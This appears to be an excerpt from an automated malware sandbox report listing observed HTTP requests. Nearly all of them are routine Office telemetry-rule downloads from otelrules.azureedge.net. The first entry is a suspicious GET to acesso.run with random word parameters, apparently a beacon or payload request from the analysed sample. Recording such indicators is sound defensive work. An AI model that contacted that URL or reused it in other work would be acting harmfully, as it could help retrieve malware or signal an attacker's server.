Source: global traffic	HTTP traffic detected: GET /wMyYAg?&morsel=bewildered&bifocals=oafish&egg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/excel.exe-Production-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
